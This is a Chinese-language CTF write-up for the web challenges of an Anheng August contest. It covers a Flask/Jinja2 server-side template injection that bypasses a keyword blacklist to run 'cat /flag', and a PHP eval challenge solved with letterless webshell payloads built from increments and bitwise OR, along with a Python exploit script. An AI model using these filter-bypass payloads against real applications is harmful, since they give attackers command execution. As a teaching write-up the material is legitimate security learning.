安恒八月月赛 web部分 wp

安恒大学

邮箱激活链接存在sql注入….比赛时觉得功能点太多就去做下面两题了

直接上sqlmap:

ezflask

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''

<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

参考文章:

https://www.secshi.com/41412.html

构造cat /flag

{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set udl2=udl%(99)%}{%set udl3=udl%(97)%}{%set udl4=udl%(116)%}{%set udl5=udl%(32)%}{%set udl6=udl%(47)%}{%set udl7=udl%(102)%}{%set udl8=udl%(108)%}{%set udl9=udl%(97)%}{%set udl10=udl%(103)%}{%set udl11=dict(a=udl2,b=udl3,c=udl4,d=udl5,e=udl6,f=udl7,g=udl8,h=udl9,i=udl10).values()|join%}

其中:

赋值语句set用于在模板中添加变量,赋值语句创建的变量在其之后都是有效的

那么第一个payload:

{%set pc = g|lower|list|first|urlencode|first%}

的就是找到特殊字符<,进行urlencode得到%,即set pc = '%',第二个payload:

{%set c=dict(c=1).keys()|reverse|first%}

的意思就是set c='c'

通过join将两者拼接得到%c,之后便可格式化字符得到任意字符串,例如:

>>> '%c' % 97
'a'

然后通过self拿到os(博客渲染问题下面这个payload大括号*2):

{self.__dict__._TemplateReference__context.lipsum.__globals__.os.popen(udl11).read()}

最终payload:

http://183.129.189.60:10025/?name={%set%20pc%20=%20g|lower|list|first|urlencode|first%}{%set%20c=dict(c=1).keys()|reverse|first%}{%set%20udl=dict(a=pc,c=c).values()|join%20%}{%set%20udl2=udl%(99)%}{%set%20udl3=udl%(97)%}{%set%20udl4=udl%(116)%}{%set%20udl5=udl%(32)%}{%set%20udl6=udl%(47)%}{%set%20udl7=udl%(102)%}{%set%20udl8=udl%(108)%}{%set%20udl9=udl%(97)%}{%set%20udl10=udl%(103)%}{%set%20udl11=dict(a=udl2,b=udl3,c=udl4,d=udl5,e=udl6,f=udl7,g=udl8,h=udl9,i=udl10).values()|join%}{self.__dict__._TemplateReference__context.lipsum.__globals__.os.popen(udl11).read()}

flag:

flag{f6c12ca8198f1f3840c5dbb008587aac}

rceme

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
//die('you are not smart');
}
}
eval("echo($code)");
?>

方法一

无字母webshell,这里用累加的方式结合php动态执行函数rce:

$_GET{_}($_GET{__})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#coding=utf8
import requests

url = 'http://183.129.189.60:10026/?_=system&__=cat /flag'
#url = 'http://localhost:8888/d.php?_=system&__=id'

data = {
'code':r'_);$__++;$________ = (($_______________/$_______________).($_______________)){$__};++$________;++$________;++$________;++$________;$____ = $________;$___________=++$________;++$________; $______ = $________;$_________=++$________;$__________=++$________;++$________;++$________;++$________;++$________; $_____ = $________;$____________=++$________;$_____________=++$________;$______________=++$________;++$________;++$________;++$________;$_ = $________;++$________;$___ = $________;++$________;++$________;++$________;++$________;++$________;$__ = $________;++$________;$_ = $_.$__.$_.$___.$____.$_____;$__ = _.$______.$____.$___;$$__{_}($$__{__});//'
}

proxy = {'http':None}

s = requests.post(url, data=data, proxies=proxy)
print(s.text)

方法二

没有过滤或运算符|,那么可以通过此运算符构造字符串,一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
echo 'b' ^ '`';
echo "\n";

echo 'b'|'`';
echo "\n";

echo '<0x02>'^'`';
echo "\n";

echo '<0x02>'|'`';
?>

输出结果为:

1
2
3
4
0x02
b
b
b

计算反引号和’b’的ASCII码:

1
2
3
4
>>> ord('b')
98
>>> ord('`')
96

转为bin:

1
2
98 ->  01100010
96 -> 01100000

异或结果:

1
00000010

而它们相与的结果:

1
01100010

即仍是字符b

反过来,0x02与反引号异或、与的结果都是字符b,其他字母都是一样的。

因此,可以直接将需要构造的字符串与反引号进行异或,得到的结果再与反引号相与即可得到原字符串

1
2
3
<?php
echo "````````"^"readfile";
echo "````"^"flag";

得到:

1
2
<0x12><0x05><0x01><0x04><0x06 <0x0c><0x05>
<0x06><0x0c><0x01><0x07>

最终payload:

1
$code = "('````````'|'	')('/````'|'/'));//";